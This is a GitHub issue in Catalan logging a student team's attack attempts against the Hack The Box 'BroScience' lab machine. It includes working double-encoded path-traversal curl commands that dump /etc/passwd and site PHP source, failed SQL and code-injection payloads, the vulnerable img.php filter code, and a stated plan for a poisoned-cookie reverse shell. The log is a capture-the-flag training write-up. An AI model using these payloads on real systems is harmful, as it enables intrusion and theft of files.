AngelMascaro / broscience_htb_hackingoldschool

0 stars 0 forks source link

Log / Bitácora #2 - Attack plan #21

Closed cpratlao closed 1 year ago

cpratlao commented 1 year ago

En aquest apartat realitzem una sèrie de comprovacions per definir per on es pot atacar la màquina:

Acció 1:

Persona --> Jaume Temps --> 27/02/2023 --> 19:45 --> 19:56 Acció --> Accedir al directori /incluedes i analitzar el contingut Endpoint --> brosciense.htb/includes Resultat: --> Veiem diversos arxius, això significa que el +Includes està activat --> Si intentem accedir dins un arxiu del /includes apareix el següent error: Error: Missing 'path' parameter.

Output: Captura de pantalla_20230227_194641

Captura de pantalla_20230227_195004

Acció 2:

Persona --> Cristian Temps --> 27/02/2023 --> 19:40 --> 19:55 Acció --> Path traversal amb ../../../ Endpoint --> https://broscience.htb/img.php Resultat --> Detecta el path traversal com un atac i no el podem fer. Output:

Podem intentar fer un Path Traversal en el LFI per descarregar-nos tots fitxers .php del servidor, per tant, el primer és executar un path traversal amb exit, entrarem a la següent URL:

https://broscience.htb/includes/img.php?path=../../../etc/passwd

Com a resposta ens diu:

Error: Attack detected.

Per tant, no podem fer un path traversal amb la tàctica del "dot dot slash".

Persona --> Cristian Temps --> 27/02/2023 --> 19:55 --> 20:10 Acció --> Path traversal amb double encode (https://owasp.org/www-community/Double_Encoding) Endpoint --> https://broscience.htb/img.php Resultat --> Hem aconseguit fer un path traversal en el Local File Inclusion del fitxer img.php. Output:

┌─[lao@parrot]─[~]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Un cop podem fer el path traversal podem anar a mirar perquè és possible fer-lo descarregant-nos el fitxer "img.php":

<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing 'path' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

Com podem el script controla que no existeixin cap de les següents cadenes de caràcters (badwords):

../
etc/passwd
.ssh

Si detecta alguna d'aquestes cadenes de caràcters ens diu:

Attack detected

Per tant, quan fem el "path traversal" amb "double encode" no utilitzem cap d'aquestes cadenes i l'aconseguim fer.

Acció 3:

Persona --> Cristian Temps --> 27/02/2023 --> 20:10 --> 20:20 Acció --> Path traversal amb double encode (https://owasp.org/www-community/Double_Encoding) Endpoint --> https://broscience.htb/index.php, https://broscience.htb/login.php, https://broscience.htb/activate.php Resultat --> Ens hem descarregat fitxers de codi de la pàgina amb el path traversal en el Local File Inclusion del fitxer img.php. Output:

┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252findex.php > index.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2182  100  2182    0     0  18818      0 --:--:-- --:--:-- --:--:-- 18973
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252flogin.php > login.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3028  100  3028    0     0  25693      0 --:--:-- --:--:-- --:--:-- 25880
┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252factivate.php > activate.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2026  100  2026    0     0  17418      0 --:--:-- --:--:-- --:--:-- 17465

Acció 4:

Persona --> Jaume Temps --> 27/02/2023 --> 20:00 --> 20:15 Acció --> Utilitzant el path transversal, descarregar tota la documentació disponible al /includes També exemanir el codi dels fitxers descarregats Endpoint --> https://broscience.htb/includes Resultat --> Output:

┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o db_connect.php https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   337  100   337    0     0   2860      0 --:--:-- --:--:-- --:--:--  2880
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o header.php https://broscience.htb/includes/img.php?path=..%252fincludes/header.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   369  100   369    0     0   3045      0 --:--:-- --:--:-- --:--:--  3049
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o img.php https://broscience.htb/includes/img.php?path=..%252fincludes/img.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   483  100   483    0     0   3992      0 --:--:-- --:--:-- --:--:--  4025
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o navbar.php https://broscience.htb/includes/img.php?path=..%252fincludes/navbar.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1201  100  1201    0     0  10340      0 --:--:-- --:--:-- --:--:-- 10353
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o utils.php https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3060  100  3060    0     0  23687      0 --:--:-- --:--:-- --:--:-- 23720

Acció 5:

Persona --> Jaume Temps --> 28/02/2023 Temps --> 17:30 --> 18:30 Acció --> SQL Injection Endpoint --> https://broscience.htb/register.php Resultat --> No es pot fer la injecció SQL al /register Output:

En aquest intent el que hem de fer és una SQL injection, la idea és modificar la query que executa i donar-li una operació que resulti TRUE i ignorar la resta de la sentència SQL (#), la manera de fer-ho és posar " or 1=1 # al username i a password.

Quan posem " or 1=1 # només a username ens obliga a omplir el contingut dels quatre camps. Please fill all fields in.

Si posem " or 1=1 # a tots els camps del register En el camp email es comprova si el contingut inserit coincideix amb l'email.

Per tant, no es pot fer una injecció SQL

Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "register.php". En l'anàlisi aquest fitxer veiem que hi ha un pg_prepare que el que fa és blindar-se de la injecció SQL. De fet n'ha ha 4:

$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1'); $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1'); $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1'); $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');

Acció 6:

Persona --> Cristian Temps --> 27/02/2023 --> 20:20 --> 20:40 Acció --> Code injection. Endpoint --> https://broscience.htb/exercise.php?id=2 Resultat --> No es pot injectar codi Output:

Mirarem d'injectar codi en l'URL d'un dels post de la pàgina a veure si no validen els arguments. Agafem l'URL d'un dels posts:

https://broscience.htb/exercise.php?id=2

I li afegim al final --> ; phpinfo():

https://broscience.htb/exercise.php?id=2; phpinfo()

Com a resultat obtenim:

Invalid ID value 

Per tant, no es pot fer un code injecction.

Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "exercice.php":

┌─[lao@parrot]─[~/broscience]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252fexercise.php > exercise.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4969  100  4969    0     0  39335      0 --:--:-- --:--:-- --:--:-- 39436
┌─[lao@parrot]─[~/broscience]
└──╼ $cat exercise.php | sed -n 4,25p
if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
            include_once 'includes/db_connect.php';

            $res = pg_prepare($db_conn, "get_exercise_query", 'SELECT exercises.id, username, title, image, content, exercises.date_created, users.id FROM exercises JOIN users ON author_id = users.id WHERE exercises.id=$1');
            $res = pg_execute($db_conn, "get_exercise_query", array($_GET['id']));

            if (pg_num_rows($res) > 0) {     
                $row = pg_fetch_row($res);
            } else {
                $alert = "No exercise with that ID";
            }
        } else {
            $alert = "Invalid ID value";
        }
    } else {
        $alert = "Empty ID value";
    }
} else {
    $alert = "Missing ID value";
}

Com veiem en el codi hi ha un "filter_var":

if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {

Que valida que el valor de la id del exercici sigui un INT i com el que injectem no ho és ens retorna FALSE i la seva corresponent resposta:

$alert = "Invalid ID value";

Acció 7:

Persona --> Jaume Temps --> 28/02/2023 Temps --> 18:30 --> 19:00 Acció --> SQL Injection Endpoint --> https://broscience.htb/login.php Resultat --> No es pot fer la injecció SQL al /login Output:

En aquest intent el que hem de fer és una SQL injection al /login, la idea és modificar la query que executa i donar-li una operació que resulti TRUE i ignorar la resta de la sentència SQL (#), la manera de fer-ho és posar " or 1=1 # al username i a password.

Quan posem " or 1=1 # només a username, igual que en el /register ens obliga a omplir el contingut dels camps Username i Password Please fill in both username and password.

Si posem " or 1=1 # tant a username com a password Username or password is incorrect

Per tant, no es pot fer una injecció SQL

Com hem aconseguit fer un path traversal per descarregar-nos fitxers en els passos anteriors examinarem el fitxer "login.php". En l'anàlisi aquest fitxer veiem que hi ha un pg_prepare que el que fa és blindar-se de la injecció SQL.

$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');

Conclusions:

Un cop realitzat tots els atacs veiem que hi ha moltes parts del lloc web que estan ven securitzades com per exemple el login, el register i els arguments de les URLs. Per un altre cantó, tot i que la tàctica del "dot dot slash" per fer un "path traversal" no es pot fer, ja que està sanejat, si fem un "doble encode" en el "dot dot slash" sí que aconseguim fer el "path traversal" en el "local file inclusion" del fitxer "img.php" i descarregar-nos qualsevol fitxer de la màquina que pugui llegir l'usuari www-data.

Després d'analitzar tot el codi descarregat gràcies al path transversal, intentarem crear i validar un usuari amb el qual injectarem una cookie enverinada per passar una reverse shell i guanyar accés al servidor a la pròxima secció de l'auditoria.